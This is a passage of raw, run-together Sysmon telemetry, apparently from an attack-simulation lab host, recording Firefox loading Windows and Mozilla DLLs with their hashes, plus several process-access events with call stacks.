CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000050650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000050649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 734700x800000000000000050648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 734700x800000000000000050646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000050645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000050644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000050643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000050641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000050640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140_1.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=4DC09CA657822C2E8160255F767597DF,SHA256=922124BA0821AA864A0261ED88BD25F8E40F94C24D00D389E23CD9AB2BFC6BA4,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000050639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000050638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000050637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\vcruntime140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=ADE7AAC069131F54E4294F722C17A412,SHA256=92D50F7C4055718812CD3D823AA2821D6718EB55D2AB2BAC55C2E47260C25A76,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000050636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.039{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp140.dll14.28.29913.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=4B6BA0947F115AE9FD3016D26D57ABB8,SHA256=254DF96324D019A7C4213ABD4178944B8BF2873D0C3EDC1835D4C668F83D7C37,IMPHASH=4F1912F58F8D1AE7998EF5303198D62DtrueMicrosoft CorporationValid 734700x800000000000000050635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000050634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000050633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000050632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000050631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000050630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000050629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000050628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\mozglue.dll92.0-FirefoxMozilla Foundationmozglue.dllMD5=2AA3B81F30451FC8E5A23ED228B8C7D2,SHA256=BB33821ADE195D2C34C3528A148843767FFED9806BB19E19FBE01DEFF12A1DDD,IMPHASH=521A5A933B177363A2A0D8A6C3244738trueMozilla CorporationValid 734700x800000000000000050627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000050626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000050625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000050624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000050623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000050622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x2200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+2fb50|C:\Program Files\Mozilla Firefox\xul.dll+e4cd19|C:\Program Files\Mozilla Firefox\xul.dll+e485b9|C:\Program Files\Mozilla Firefox\xul.dll+e3a3a2|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a462d8|C:\Program Files\Mozilla Firefox\xul.dll+a46044|C:\Program Files\Mozilla Firefox\xul.dll+ac028e|C:\Program Files\Mozilla Firefox\xul.dll+e3a352|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98 10341000x800000000000000050620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 734700x800000000000000050619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 10341000x800000000000000050618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+16702fb|C:\Program Files\Mozilla Firefox\xul.dll+19ccbe6|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d 10341000x800000000000000050615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:25.024{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+8e8a8e|C:\Program Files\Mozilla Firefox\xul.dll+e3a0b0|C:\Program Files\Mozilla Firefox\xul.dll+361d744|C:\Program Files\Mozilla Firefox\xul.dll+361d6b0|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla 